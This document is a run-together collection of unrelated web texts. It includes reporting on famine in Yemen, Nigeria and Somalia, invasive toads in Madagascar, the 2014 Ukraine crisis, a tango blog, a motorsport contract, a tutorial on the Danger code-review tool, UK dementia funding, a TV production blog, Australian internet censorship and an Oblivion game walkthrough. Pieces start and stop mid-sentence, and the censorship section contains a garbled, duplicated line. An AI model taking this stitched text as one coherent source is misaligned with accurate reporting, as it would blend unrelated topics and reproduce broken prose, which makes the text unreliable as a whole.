Should the coalition move to take Hodeida's city and port militarily, it could shut off what trickle of food is headed to Sanaa and other highly populated inland areas, triggering a famine, according to aid agencies. Coalition officials have argued that if they took the port, they could ensure the passage of aid without worrying about arms smuggling.
Either way, vast swaths of Yemen are under constant bombardment from the coalition. Three-quarters of the residents of the south-central city of Taiz and its surrounding areas, for instance, are facing an emergency food shortage because the area is effectively inaccessible.
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Eight years of terror create a nightmare in northeastern Nigeria
Boko Haram's bloody reign of terror in northeastern Nigeria's Borno state has been so intense over the past few years that aid groups have struggled to even enter the region. Reliable data on hunger is limited. Some aid workers speculate that Borno may have already passed through periods of famine, or may be in one now.
The fighting has displaced more than 3 million people and left a previously fertile region desiccated and barren. Vast camps have sprung up within Nigeria, as well as across the border in Niger and Cameroon. The population of Borno's relatively safe capital, Maiduguri, has doubled because of the influx, and the city is a hub for disease. Tens of thousands of Nigerians, meanwhile, have set their sights north toward Libya and, ultimately, Europe, attempting an expensive and dangerous journey that many do not survive.
Almost as many as those who have fled Boko Haram-controlled areas have stayed behind. They are most at risk of starvation, because their villages are inaccessible to outside aid.
Nigeria's military, even in cooperation with neighboring countries and U.S. and British advisers, has proved sorely inadequate in rooting out the insurgency, although they have made some progress. When they have succeeded in liberating towns and villages from Boko Haram, they often find residents eating grass and insects because that's all that is left.
The United Nations has warned that half a million children in northeastern Nigeria are so severely malnourished that 75,000 could die by June. A growing measles outbreak in the region could transform into an epidemic, too.
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A drought in Somalia, a land awash with guns
Six years ago, more than a quarter of a million Somalis died in a famine. The rains have now failed for two consecutive years in parts of the country, and there are growing fears of a repeat catastrophe. But droughts are common in Somalia and do not always result in famine. The common link between 2011 and today is the continued presence of al-Shabab, an armed group closely linked with al-Qaeda.
While al-Shabab has lost ground since 2011, the famine risk in Somalia is concentrated in rural areas in the country's south, where the group is still strong. That is because the militant group severely restricts the movement of locals who may be in search of scarce food and water. They also restrict access to aid.
As wells have dried up, people have resorted to drinking any water they can find, even if it is dirty. Consequently, a growing cholera epidemic competes with the deepening food shortage.
Yet Somalia, surprisingly, is where there is the most optimism about averting a famine. Al-Shabab has recently given assurances that it will permit freer movement of people. The group's power has also declined significantly, meaning that climatic conditions contribute more to Somalia's crisis proportionally than the others.
And while a drought can leave a nation reliant on aid, that is ultimately an easier problem to solve than war.
At this time of unprecedented need, the world's biggest supplier of humanitarian relief is getting ready for a major cutback.
Humanitarian aid makes up a tiny fraction of U.S. government spending - less than 1 percent - but the Trump administration's proposed budget would eliminate much of it. The State Department and the U.S. Agency for International Development could see their budgets reduced by more than a third. U.S. funding to the United Nations might drop by more than half.
The United Nations had sought $4.4 billion by the end of March for emergency hunger relief operations but has raised barely a fraction of that.
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Sources: Conflict data via IHS Jane's Terrorism & Insurgency Center. Food insecurity data via fews.net. Displaced persons camp data via UNHCR and immap.org via mal-khameri@immap.org. Yemen territorial control via criticalthreats.org. Drought data via NASA Earth Observatory.Paul Sutherland/National Geographic/Getty Images
The unique wildlife of Madagascar is facing an invasion of toxic toads that could devastate the island’s native species. Snakes feeding on the toads are especially at risk of poisoning, as are a host of other animals unique to the island — such as lemurs and endemic birds — and the species could cause harm to humans as well.
In a letter to Nature published today1, 11 researchers warn that Asian common toads (Duttaphrynus melanostictus) were observed near Toamasina, the African country’s largest seaport, in March. It is suspected that the amphibians arrived from Asia in shipping containers, and are now taking advantage of what the writers describe as “ideal resources and climate” to establish themselves.
“Time is short, so we are issuing an urgent call to the conservation community and governments to prevent an ecological disaster,” say Jonathan Kolby, a wildlife-health researcher at James Cook University in Townsville, Australia, and his colleagues.
The discovery of the invasive amphibians recalls the Australian plague of cane toads (Rhinella marina). These animals, relatives of the Asian common toad, were deliberately introduced to Australia in 1935; they proceeded to devastate native animal populations and have spread across much of the country, defying attempts to eradicate them.
Kolby and his colleagues warn that something similar could now happen in Madagascar.
Home invaders
The toads are already reported to have been deadly to snakes, including the ground boa (Acrantophis spp.), which is found nowhere else, Kolby tells Nature. Drawing parallels with the cane-toad situation, he warns that more than 50 species of endemic snake could be threatened, because they are likely to eat the toxic toads. Iconic Madagascan species such as the cat-like fossa (Cryptoprocta ferox), lemurs and endemic birds are also in jeopardy. And the toads could spread diseases to other amphibians and even contaminate drinking water and transmit parasites to humans.
The species is not yet widespread in Madagascar, but it has been found a mere 25 kilometres away from the important Betampona nature reserve, and a short distance further from other internationally important biodiversity hotspots. It is unclear how fast it can travel, but cane toads have been clocked expanding their range at 50 kilometres per year.
The potential tragedy is not restricted to Madagascar. “There is now a high dispersal risk of these toads spreading from Madagascar to other Indian Ocean islands such as the Mascarene Islands, Comoros and Seychelles,” says Kolby.
Toads are already being collected and removed, he says, and the Madagasikara Voakajy, a non-governmental organization in Antananarivo devoted to biodiversity, is tracking the spread of the amphibians. The toads should be hunted, their spawn should be destroyed and ponds should be drained to stop their breeding, says Kolby. “We are still within the early stages of population growth,” he says. An eradication programme should be developed swiftly, “while populations are still relatively small and manageable”.
Mark Hoddle, director of the Center for Invasive Species Research at the University of California, Riverside, notes that to be considered invasive, a non-native species must have established a reproductive population that spreads and causes environmental and economic damage. On this basis it may be too early to declare the Asian toad in Madagascar a problem species, he says, but there are “very good reasons to be concerned”.SLOVYANSK, Ukraine — Defying warnings from Moscow not to confront pro-Russian militants entrenched in towns across eastern Ukraine, government forces on Thursday revived a stalled operation to regain control by force but had little to show for their efforts other than Russian military drills on Ukraine’s border and heightened alarm about Moscow’s next move.
Russia has repeatedly denied having a hand in the unrest convulsing eastern Ukraine or any intention to invade. But an announcement on Thursday by Moscow that it would immediately start military maneuvers along the border with Ukraine, and a threat by Russia’s president, Vladimir V. Putin, of unspecified consequences for Ukraine as a result of what he called a “serious crime,” signaled a combustible new phase in a geopolitical battle set off by the overthrow of Ukraine’s government in February.
The day’s events also buried already feeble hopes that a deal reached last Thursday in Geneva by diplomats from the European Union, Russia, Ukraine and the United States might calm a crisis that has stirred fears of a wider conflict over control of Ukraine, a nation of 46 million that straddles a volatile fault line between Europe and Russia.
In Washington, Secretary of State John Kerry warned Russia on Thursday night that it would face additional economic sanctions if it failed to carry out that agreement. “The window to change course is closing,” he said. Sanctions could be announced as soon as Friday if the Russians do not respond, said one administration official who asked not to be identified while discussing internal planning.Most people unacquainted with tango may associate it remotely with Argentina and closely with elderly people. Contrary to such assumptions, the world of tango is extremely multi-layered and surprisingly in-touch with the progress. After all, pope Della Chiesa would have hardly otherwise condemned the dance, had it been ‘boring’ enough to be suitable only for the elders! Tango music is diverse and can bring about associations with anything from a desperate longing for return of the home, or the loved one, from afar, to quiet melancholy, to energetic and merry social intercourse, to the most heartbreaking despair, to uncontrollable envy, to burning passion, to uncensored adultery. The ‘old age’ stigma attached to tango no longer holds true, as more and more young people discover the power of this dance. Simply watch this smoking hot video, for instance, and dare say that THIS tango and THIS music is for the old:
Oh but surely, you’d say, one can show glimpses of the actual dance and make them look hot – what about some actual dancing that gives the same impression? Thy wish is my command, please enjoy Tango Fire:
In case, however, that you are either beyond the age or the scene of over-emphasized erotica, tango can take upon a more ‘formal’ tweak that can be shared on the floor without screaming ‘shame’. Then it may look something like this:
Or this:
Do not think tango is easy though – it can be rather demanding physically. If you are a general fitness/exercise freak, foregoing one of your gym sessions for a tango lesson would not result in fewer calories burned. It may turn out to be an even better work out than your habitual cardio, like this one:
On the other hand, tango can be also very sensual, more relaxed and intimate, and does not force you into any crazy tricks – it can be enchantingly beautiful even without the fast pace and intensity:
Tango is an amazing dance to take upon for its grace, beauty and energy. It allows one to learn to control one’s body, to acquire expressiveness, tension and intensity of movements, improves balance, lead and follow skills. It can cater to anyone’s taste music-wise and style-wise and manifests itself over time through an acquired grace of movement, better posture and higher sensitivity to the beauty of the world.Michael Caruso has signed a new driving deal with official factory V8 Supercars team Nissan Motorsport.
Caruso and Nissan Motorsport have agreed to a multi-year deal that will see him remain with the Melbourne-based team for the foreseeable future.
"I'm very excited. It's fantastic that I can stay along this path with Nissan," Caruso said.
"We've put a lot of hard work into the team in the past couple of years and I know we have a great deal of success ahead of us.
"The team is currently going through some changes on the commercial front, but the great thing is that the guys came to me straight away and locked me away. That was extremely comforting and it's great that they had me in the forefront of their mind."
The 31-year old has been Nissan's best performing driver in 2014 and currently sits 12th in the V8 Supercars Championship points standings. His season has included a number of highlights, including two top five results, 10 top 10 finishes and ARMOR ALL Pole Position and an overall podium finish at the Australian Grand Prix support event in March.
"It's great to have my future secure, but I've still got this season to worry about. I'm currently 12th and one point off 11th and I'd love to finish inside the top 10 in the Championship. That is definitely achievable, but it's not going to come easy. We have to make it happen.
"We are progressing really well, we have lots happening behind the scenes and we'll just continue to do the best we can."
The 2015 season will be the Sydney-born driver's eighth full-time season in the V8 Supercars Championship. He has one career win to his name (Hidden Valley, 2009) and five podium finishes.
The new deal is a sign of stability for Nissan Motorsport, as Caruso was the team's sole out of contract driver for 2015.
Nissan Motorsport Marketing and Sponsorship General Manager Nick Ryan said the team had no question about keeping Caruso on-board for the coming V8 Supercars seasons.
"Michael is a terrific asset for the team and we are pleased to confirm a new multi-year deal with him," Ryan said.
"Michael joined the team at the start of our journey with Nissan in 2013 and he has proven himself as a leader within the organisation. Not only is he great for us in the car, he is also one of the most likeable drivers in the category, both for sponsors and for the fans."
Nissan Motor Co (Australia) Managing Director and CEO Richard Emery echoed that sentiment.
"Michael's results to date this season have been impressive and as our on-track program continues to progress we look forward to even more success from Michael and the entire Nissan Motorsport team," Emery added.
The next event on the 2014 V8 Supercars Championship calendar is the world famous Bathurst 1000 at Mount Panorama in Bathurst, New South Wales on October 9-12.
Caruso, teaming with former full-timer Dean Fiore, will run a retro livery at Bathurst, commemorating the 30th anniversary of Nissan's first pole position at Mount Panorama.At buddybuild, our focus is to help automate the tedious and time-consuming aspects of your development workflow to give you the time needed to create great applications. Danger, a popular open source tool, has a similar philosophy - it allows you to automatically apply a common set of rules to code reviews.
Overview
Danger is a tool that runs as part of your continuous integration process. Using a domain-specific language, it lets you define any arbitrary set of rules that suit your team’s pull request code review practices. For example: checking that the pull request might have modified some sensitive files and that the whole pull request needs to be carefully reviewed.
Editorial Note: This post covers the original Danger tool, written in Ruby. There’s also a javascript version that we'll cover in a future post.
Getting started with Danger
Setting up Danger in your repository is a straightforward and well-documented process. This helpful guide describes, step-by-step, how to get started with Danger, how to create a token on Github, etc.
The first thing you need to do is add the danger gem to your project. The easiest way to do this is to use bundler and a Gemfile. If you're not familiar with bundler, it's a dependency manager for Ruby libraries and tools. A gem is a Ruby library or application. A Gemfile declares which Ruby gems that bundler should install.
Here’s how to create a Gemfile, add Danger as a dependency, and install Danger:
gem install bundler bundle init echo "gem 'danger', '~> 5.5', '>= 5.5.3'" >> Gemfile bundle install bundle exec danger --version # "5.5.3"
Editorial Note: Alternatively, you could install Danger globally. However, it's considered good practice to setup your project as self-contained. Using a Gemfile is a great way to maintain a reproducible environment, as it helps you to avoid issues where it works on your local machine but not on buddybuild.
Now that Danger is installed, you can incorporate it into your project. We recommend creating a setup-danger branch — later on, we’ll open a pull request from this branch:
git checkout -b setup-danger
Next, we can configure Danger. Run the Danger command-line tool in the root of your repository:
danger init
Danger's command-line tool guides you through the required steps. The configuration process asks you to create an access token and make it available to Danger. To achieve this, go to App Settings > Environment on buddybuild’s dashboard and follow our documentation.
Running Danger as part of your build
The generated Dangerfile comes with a few examples of what you can do and how to add messages to the code review:
# Make it more obvious that a PR is a work in progress and shouldn't be merged yet warn("PR is classed as Work in Progress") if github.pr_title.include? "[WIP]"
Running danger locally is as trivial as adding a step to your build process. Buddybuild already supports the postclone, prebuild, and postbuild scripts, so it's up to you to choose which step you’d like to use to run Danger at. Our recommendation would be to run it after the build happens.
Create a buddybuild_postbuild.sh at the root of your repository with the following content:
#!/bin/bash chruby 2.3.1 bundle install bundle exec danger --fail-on-errors=true
Editorial Note: use chruby to select a recent version of ruby. Version 2.3.1 is already available on your build machine.
Once this is done, don’t forget to commit your new Dangerfile and push the setup-branch you created earlier.
git add Dangerfile git commit -m « Setup danger with basic rules » git push -u origin setup-danger
Then, open your repository on Github and open a pull request with that branch.
Editorial Note: Don't forget to add [WIP] to the pull request’s title so that Danger warns reviewers that the pull request is still a work in progress.
Buddybuild notices your PR and starts building your application. If everything works as expected, you should see a comment from your Github user on your pull request.
Once we’ve set up Danger for our projects, we can start adding new rules throughout our development to ensure that we’re maintaining the quality of our codebase.
Examples of how mobile development teams use Danger CI
The above default example is a great way to get started with Danger. Now, let's take it a step further and see how development teams use Danger in their workflows.
We asked our friends at FreshBooks about their use of Danger and the role it played in their workflow. They use it for two important aspects of their code review: making sure that the code style is respected with Swiftlint, and maintaining a certain code-coverage percentage.
Using Danger to make sure the code style is respected
Swiftlint is a tool, created by the people at Realm, that uses Clang and SourceKit to parse your source files and check them against a set of customizable rules. Let’s see how we can add it to Danger, starting by adding the danger-swiftlint dependency to your Gemfile. Don’t forget to run bundle install once it’s done so that the dependencies are installed.
gem 'danger-swiftlint', '~> 0.5.1'
Then, add Swiftlint to your Dangerfile:
swiftlint.lint_files
Danger checks all the modified files and added files in your pull request, listing all of the violations in a comment:
Using Danger to maintain code coverage percentage
Let's see how to use Danger to maintain a certain level of code quality based on code coverage. Below we’ll walk through how the FreshBooks engineering team pairs buddybuild and Danger to accomplish this.
Buddybuild already shows the code coverage percentage as part of your build's information.
Including the code coverage in the pull request can help reviewers decide whether the pull request’s changes are tested sufficiently. For this, Danger can help. We’ll be using the danger-xcov library.
Start by adding this gem to your Gemfile, just like we did for Danger itself:
gem 'danger-xcov', '~> 0.3.3'
Don’t forget to run bundle install once it’s done so that the dependencies are installed.
danger-xcov needs a bit of information to work: the Xcode scheme, the path to the project, and the path to the derived data. All of these are available as environment variables. You’ll also need to provide the minimum code coverage percentage you want to maintain. In this example, we'll use 30%.
To achieve this, add the following instructions to the Dangerfile :
xcov.report( scheme: ENV['BUDDYBUILD_SCHEME'], project: "#{ENV['BUDDYBUILD_WORKSPACE']}/Project.xcodeproj", minimum_coverage_percentage: 30, derived_data_path: ENV['BUDDYBUILD_TEST_DIR'], )
If you commit and push your changes to your pull request, you'll see a code coverage report in your pull request. If the code coverage of the modified files in the pull request is less than 30%, then Danger fails the build.
Adding Release Notes using Danger and buddybuild
Every time you distribute a build to your application’s stakeholders, remember that to provide useful feedback they need to know what changed. It can be a bug you fixed, a feature you added, or a piece of UI that you tweaked.
You can provide added context to your stakeholders in the buddybuild_release_notes.txt file. If this file exists at the root of your repository, its content is displayed as the release notes to your users.
Developers often forget to update release notes, and reviewers often forget to check that the release notes have been updated. This is exactly where Danger starts to shine.
The following example checks to see if Swift code has been modified. If so, it also checks whether buddybuild_release_notes.txt has also been modified. If not, Danger warns you.
modified_code = git.modified_files.include? "2048/*.swift" updated_release_notes = git.modified_files.include? "buddybuild_release_notes.txt" fail "You forgot to update the release_notes_file ([docs](http://docs.buddybuild.com/docs/focus-message))" if modified_code &&!updated_release_notes
Conclusion
These examples demonstrate how Danger can improve the quality of your project by automating portions of your pull request code review workflow. We hope these examples inspire you and your team to incorporate Danger into your projects.
If you have any questions, thoughts, or suggestions on how to improve buddybuild’s integration with Danger, we’d love to hear them. Feel free to reach us @buddybuild on Twitter, or by emailing team@buddybuild.com.
Are you already using buddybuild and Danger in your development workflow? We’d love to include your workflow as an example in this post. To be included, please contact romain@buddybuild.com directly.
Stay tuned for a blog post about how to integrate and use the the javascript version of Danger with buddybuild!PM also announces scan to rule out Alzheimer's will be made available on NHS
The UK government is to double funding for dementia research by 2025 and make available on the NHS a scan that can rule out Alzheimer's disease, David Cameron announced as a G8 summit began in London.
The prime minister has invited health chiefs from the world's richest countries to the UK to discuss what to do about dementia, with the number of sufferers predicted to treble to 135 million globally by 2050.
Cameron said he would double funding research from £66m in 2015 to £122m in 2025, although that is still well below government funding for cancer, which stood at £267m in 2007-08.
The first scan on the NHS to rule out Alzheimer's, which works by identifying one of the two proteins that builds in the brain during the disease, will take place at Charing Cross hospital, part of Imperial College NHS trust, in London on Thursday and many more patients will benefit from the new technology.
The health secretary, Jeremy Hunt, said he hoped the dementia summit would have the same effect as the G8 summit in Gleneagles on HIV/Aids in 2005.
"Today should be an optimistic day," he told BBC Breakfast. "Tony Blair had the G8 summit in Gleneagles in 2005 on HIV/Aids and actually that did turn out in retrospect to be a turning point in the battle against Aids.
"I think if you bring the world's leaders together, health ministers from across the world, and we are all resolved that we really are going to do something about this as we face up to an ageing society."
Cameron said the government was "throwing everything we have at making the UK the place to invest and locate and work in life sciences".
He added: "If we are to beat dementia, we must also work globally, with nations, business and scientists from all over the world working together as we did with cancer, and with HIV and Aids."
Alzheimer's disease, the most common form of dementia, affects around 500,000 people in the UK but it is believed that only 45% of people with dementia in the UK have a diagnosis.
The Pet (positron emission tomography) scan being used at Charing Cross hospital produces detailed three-dimensional images of the inside of the body and can be used to visualise amyloid plaques in the brains of adult patients, with cognitive impairment being evaluated for Alzheimer's disease and other potential causes.
Lilly, the US company that created the technology, said that in a study of patients in the United States diagnosed with Alzheimer's disease, its Amyvid scan found that 20% did not have the amyloid plaques and therefore did not have the disease, a figure it says mirrors independent estimates of the level of misdiagnosis of the disease.
Dr Richard Perry, a consultant neurologist at Imperial College Healthcare NHS trust, said: "For people who have memory problems and who are concerned about them, knowing the cause, whether it is Alzheimer's disease or not, is the first step in getting the right sort of treatment."
The scan cannot be used to make a positive diagnosis of Alzheimer's as it cannot identify tau, a protein that accumulates inside nerve cells as the disease progresses. But as amyloid can build in the brain 10 to 15 years before Alzheimer's symptoms – such as memory loss – show, it can also be a powerful tool for researchers.
Dr Eric Karran, director of research for Alzheimer's Research UK, said the tool may "be used to ensure that patients entering clinical trials for amyloid-targeting drugs are appropriately selected. Amyvid also provides an important approach, which may be used as a research tool in clinical trials to monitor the biological signs of Alzheimer's in the living brain and increase our understanding of how the disease progresses."The votes have been tabulated and we have a new episode title! In the end, this one wasn’t all that close either. The results…
“Episode 23: Take The Shot”
Thanks for playing and stay tuned for a chance to weigh in on another Dark Matter episode title. We have three more to name and less than three weeks to do it in!
We had a special visitor to set today, all the way from jolly old New York – representing our much-loved Syfy International: Bipasha Ghosh, Vice President International Marketing, NBC Universal!
If you may recall, I’ve mentioned Syfy International in many past blog entries, and gave the team a BIG shout-out at SDCC last year for all their support and genuine love for Dark Matter. We’re a huge hit overseas and that’s in no small part thanks to the tireless efforts of Bipasha and co. who have been getting the word out and the fans involved. It was Bipasha who started me Periscoping and she has secured my involvement in plenty more post-episode Periscope chats…along with a slew of fan-friendly reach-outs we’ll be springing on you in the coming months. And how, pray tell, did she convince me to commit to all these awesome fan giveaways and goodies? Well…
Let’s just say she was VERRRY convincing.
Anyway, it was great to finally meet Bipasha, face to face, after so many phone convos, conference calls, emails, and carrier pigeon messages. Looking forward to working with her in the coming months. You’re all in for a treat…
Looking ahead to all the live tweeting I’m going to do for Dark Matter’s second season, I’ve decided to go ahead and open a special twitter account for the occasion – and various DM-related sundries. Follow me here: @DarkMatter_show
Whaaat? Dark Matter Supervising Producer Ivon Bartok snapped this impromptu, unrehearsed, totally casual picture of me taking a break from the on-set action yesterday.
So, in preparation for my reddit AMA in late May, I’m opening up the floor to questions. Post ’em if you got ’em.
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Like this: Like Loading...Page presented by Optus when a censored page is requested.
Internet censorship in Australia currently consists of a regulatory regime under which the Australian Communications and Media Authority (ACMA) has the power to enforce content restrictions on Internet content hosted within Australia, and maintain a "black-list" of overseas websites which is then provided for use in filtering software. The restrictions focus primarily on child pornography, sexual violence, and other illegal activities, compiled as a result of a consumer complaints process. In 2009, the OpenNet Initiative found no evidence of Internet filtering in Australia, but due to legal restrictions ONI does not test for filtering of child pornography[1][2] or cyberbullying.
In October 2008, a policy extending Internet censorship to a system of mandatory filtering of overseas websites which are, or potentially would be, "refused classification" (RC) in Australia was proposed. Australia is classified as "under surveillance" by Reporters Without Borders due to the proposed legislation.[3] If enacted, the legislation would require Internet service providers to censor access to such content for all users. The proposal has generated substantial opposition, with a number of concerns being raised by opponents and only a few groups strongly in support.[4][5][6][7] On 5 August 2010, the Coalition parties announced that they would not vote for the policy, making it virtually impossible for the filtering scheme to pass.[8]
In June 2011, two Australian ISPs, Telstra and Optus, confirmed they would voluntarily block access to a list of child abuse websites provided by the Australian Communications and Media Authority and more websites on a list compiled by unnamed international organisations from mid-year.[9]
In November 2012, the former Labor Communications Minister, Stephen Conroy, withdrew his party's mandatory Internet filter.[10] On the same day, the then Communications Minister stated that as a result of notices to the Australian largest ISPs, over 90% of Australians using Internet Services are going to have a web filter. Australian Federal Police would then pursue smaller ISPs and work with them to meet their "obligation under Australian law".[11] iiNet and Internode quietly confirmed that the request to censor content from Australian Federal Police went from voluntary to mandatory under s313 in an existing law. iiNet had sought legal advice and accepted the s313 mandatory notice but would not reveal the legal advice publicly.[12]
In June 2015, the country passed an amendment which will allow the court-ordered censorship of websites deemed to primarily facilitate copyright infringement.
In December 2016, the Federal Court of Australia ordered more than fifty ISP's to censor 5 sites that infringe on the Copyright Act after rights holders, Roadshow Films, Foxtel, Disney, Paramount, Columbia and the 20th Century Fox companies filed a lawsuit. The sites barred include The Pirate Bay, Torrentz, TorrentHound, IsoHunt and SolarMovie.
Current status [ edit ]
[ POV? discuss ][ citation needed ] flow of information online compared to most other countries In 2006, Australia had a goodflow of information online compared to most other countries
A collection of both federal and state laws apply to Internet content in Australia.
Federal law [ edit ]
While the Australian constitution does not explicitly provide for freedom of speech or press, the High Court has held that a right to freedom of expression is implied in the constitution, and the government generally respects these rights in practice. An independent press, an effective judiciary, and a functioning democratic political system combine to ensure freedom of speech and press. There were no government restrictions on access to the Internet or credible reports that the government routinely monitored e-mail or Internet chat rooms. Individuals and groups can and do engage in the expression of views via the Internet, including by e-mail.[13]
Broadcasting Services Act 1992 [ edit ]
Provisions of |
2 doors (at F ) lead to Hurricane (R2) 6 doors (at G ) lead to Portals of Natural Disaster (M1) 1 door (at H ) leads to The Fume Vaults (B1)
1 Eruption gate (initially closed) at location J
1 Landslide gate (initially closed) at location K
1 Tornado gate (initially closed) at location L
1 Tsunami gate (initially closed) at location M
Plants:
Plants are marked by yellow dots on map 57 Blood Grass plants 22 Harrada Root plants 28 Spiddal Stick plants
Other:
2 Blood Fountains at locations b on map
Eruption [ edit ]
Eruption
One Daedra can be found on the lowest level of this tower. The usual Corpse Masher can also be found in this tower, which can bring you to one level higher. If you ascend the winding path to the top, you'll find two switches there. One will release the skeleton from the Torture Cage behind you, and the other will open the Eruption gate outside.
Occupants:
1 Daedric occupant (Daedra creatures or Dremora)
Doors and gates:
There are two doors in/out of this zone 1 door (at A, lowest level) leads outside 1 door (at B, highest level) leads outside to the bridge to Portals of Natural Disaster (M1)
Other:
1 [sic] Landslide C, highest level, on map
, highest level, on map 1 The Cage Master at location D, highest level, on map
, highest level, on map 1 Magicka Essences at location m on map
Landslide [ edit ]
Landslide
There are no doors on the lowest level of this tower, so you will have to drop down (or call the Corpse Masher) to get there. At the bottom you can find a single Daedra and The Punished. If you ascend the tower to the top, you'll find one switch there, which will open the Landslide gate outside.
Occupants:
1 Daedric occupant (Daedra creatures or Dremora)
Treasure:
1 The Punished 01
Doors and gates:
There are two doors in/out of this zone 1 door (at A, first level) leads outside 1 door (at B, highest level) leads outside to the bridge to Portals of Natural Disaster (M1)
Other:
1 [sic] Eruption C, highest level, on map
, highest level, on map 1 Magicka Essences at location m on map
Tsunami [ edit ]
Tsunami
One Daedra can be found on the lowest level of this tower. The usual Corpse Masher can also be found in this tower, which can bring you to one level higher. If you ascend the winding path to the top, you'll find one switch there. which will open the Tsunami gate outside.
Occupants:
1 Daedric occupant (Daedra creatures or Dremora)
Doors and gates:
There are two doors in/out of this zone 1 door (at A, lowest level) leads outside 1 door (at B, highest level) leads outside to the bridge to Portals of Natural Disaster (M1)
Other:
1 [sic] Tornado C, highest level, on map
, highest level, on map 1 Magicka Essences at location m on map
Tornado [ edit ]
Tornado
There are no doors on the lowest level of this tower, so you will have to drop down (or call the Corpse Masher) to get there. At the bottom you can find a single Daedra and The Punished. If you ascend the tower to the top, you'll find two switches there. One will release the dead Mythic Dawn Guard from the Torture Cage behind you, and the other will open the Tornado gate outside.
Occupants:
1 Daedric occupant (Daedra creatures or Dremora)
Treasure:
Doors and gates:
There are two doors in/out of this zone 1 door (at A, first level) leads outside 1 door (at B, highest level) leads outside to the bridge to Portals of Natural Disaster (M1)
Other:
1 [sic] Tsunami C, highest level, on map
, highest level, on map 1 The Cage Master at location D, highest level, on map
, highest level, on map 1 Magicka Essences at location m on map
Earthquake [ edit ]
Earthquake
One Daedra can be found on the lowest level of this tower. The usual Corpse Masher can also be found in this tower, which can bring you to one level higher. You have to ascend the winding path, where you can find the door leading outside to the Portals of Natural Disaster on the way. If you ascend to the top of the winding path you will only find a Blood Fountain there and possibly a Daedra.
Occupants:
1-2 Daedric occupants (Daedra creatures or Dremora)
Doors and gates:
There are two doors in/out of this zone 1 door (at A, lowest level) leads outside 1 door (at B, mid level) leads outside to the bridge to Portals of Natural Disaster (M1)
Other:
1 Blood Fountain at location b on map
Hurricane [ edit ]
Hurricane
One Daedra can be found on the lowest level of this tower. The usual Corpse Masher can also be found in this tower, which can bring you to one level higher. You have ascend the winding path, where you can find the door leading outside to the Portals of Natural Disaster on the way. If you ascend to the top of the winding path you will only find a Blood Fountain there and a Daedra.
Occupants:
2 Daedric occupants (Daedra creatures or Dremora)
Doors and gates:
There are two doors in/out of this zone 1 door (at A, lowest level) leads outside 1 door (at B, mid level) leads outside to the bridge to Portals of Natural Disaster (M1)
Other:
1 Blood Fountain at location b on map
Portals of Natural Disaster [ edit ]
Portals of Natural Disaster
This keep consists of five levels: one ground level and four upper levels. Unlike most Sigil Keeps, you cannot enter the Portals of Natural Disaster at the ground level; there is no door. Instead, you have to enter from one of the six bridges leading from the peripheral towers in this Oblivion World. But four of those bridges will lead to the second level, from which there is no path to the rest of the tower (you can find two The Punished there). Instead, you have to enter the tower from one of the two bridges leading from Earthquake or Hurricane. That will land you on the first of the tower. From there, you can enter the Rending Halls.
You can try to carefully jump down from the second level to the first, which makes a considerable shortcut.
If you used the Rending Halls to descend to the ground level, you will encounter several Daedra there. Two of The Punished can also be found here, so it might be worth the detour. The ground level itself is a dead end; you'll have to ascend the Rending Halls again.
In the end, you must visit the Rending Halls to climb to the third level of the tower. You may encounter a few Daedra there, but little else than a ramp upwards to the door to the Corridors of Dark Salvation.
The fourth level may contain a few Daedra. You can also find the two doors there that lead to the Sigillum Sanguis.
Occupants:
Ground level: 2-4 Daedric occupants (Daedra creatures or Dremora)
First level: 0-2 Daedric occupants
Third level: 0-2 Daedric occupants
Fourth level: 0-2 Daedric occupants
Treasure:
Traps:
Falling in the pool of lava in the middle of the ground level will result in instant death.
Touching the fire pillar in the middle of the room will result in instant death.
Doors and gates:
There are fifteen doors in/out of this zone 4 doors (at A, second level) lead outside to bridges to Eruption (L1), Landslide (L3), Tsunami (R1) and Tornado (R3) 2 doors (at B, first level) lead outside to bridges to Earthquake (L2) and Hurricane (R2) 1 door (at C, first level) leads to Rending Halls (M2) 2 doors (at D, ground level) lead to Rending Halls (M2) 2 doors (at E, third level) lead to Rending Halls (M2) 1 door (at F, third level) leads to Corridors of Dark Salvation (M3) 1 door (at F, fourth level) leads to Corridors of Dark Salvation (M3) 2 doors (at G, fourth level) lead to Sigillum Sanguis (M4)
Rending Halls [ edit ]
Rending Halls
You start out in a large room, where a few Daedra can be found. At your left and right you will find two corridors leading downstairs. Both corridors will lead you past Citadel Spikes to a door to the ground level of Portals of Natural Disaster. If you choose to go straight ahead, you have to ascend a long corridor that ends at a series of Citadel Guillotine Blades. You can try luring the possible Daedra behind the traps to you, and using the nearby Claw Lever to trap it under the Blades.
You can find a small corridor left of you at the end that leads to a small room with two of The Punished and two doors leading to the third level of Portals of Natural Disaster.
Occupants:
2-5 Daedric occupants (Daedra creatures or Dremora)
Treasure:
Traps:
4 Citadel Spikes at locations s on map
on map 3 Citadel Guillotine Blades at locations E on map
on map 2 Claw Levers (activate Citadel Guillotine Blades) at locations F on map
Doors and gates:
There are five doors in/out of this zone 1 door (at A ) leads to Portals of Natural Disaster, first level (M1) 2 doors (at B ) lead to Portals of Natural Disaster, ground level (M1) 2 doors (at C ) lead to Portals of Natural Disaster, third level (M1)
1 door (initially closed) at location D
Other:
1 Blood Fountain at location b on map
on map 2 Magicka Essences at locations m on map
Corridors of Dark Salvation [ edit ]
Corridors of Dark Salvation
There is little else to do in this zone then to use one of the corridors (left and right) to ascend all the way to the top of this zone. You will encounter a few Daedra on the way.
Occupants:
3 Daedric occupants (Daedra creatures or Dremora)
Doors and gates:
There are two doors in/out of this zone 1 door (at A ) leads to Portals of Natural Disaster, third level (M1) 1 door (at A ) leads to Portals of Natural Disaster, fourth level (M1)
Other:
2 Magicka Essences at locations m on map
Sigillum Sanguis [ edit ]
Sigillum Sanguis
Ascend the ramp and pass through the opening to find yourself in the room that contains the Sigil Stone. Here you can find a few Dremora Mages. There are also two Magicka Essences, one Blood Fountain and a boss-level The Punished on the upper levels. Be careful if you are sneaking that the Dremora can spot you easier than that you're used to, due to the openness of the area. Once you have reached the top you can grab the Sigil Stone to close the Oblivion Gate.
Occupants:
1 Dremora Mage at location B on map (always best possible level)
on map (always best possible level) 2 Dremora Mages
Treasure:
1 boss-level The Punished at location C, highest level, on map
, highest level, on map 1 random Sigil Stone at location S, highest level, on map
Traps:
Touching the fire pillar in the middle of the room will result in instant death.
Doors and gates:
There are two doors in/out of this zone 2 doors (at A ) lead to Portals of Natural Disaster, fourth level (M1)
Other:
1 Blood Fountain at location b on map
on map 2 Magicka Essences at locations m on map
The Fume Vaults [ edit ]
The Fume Vaults
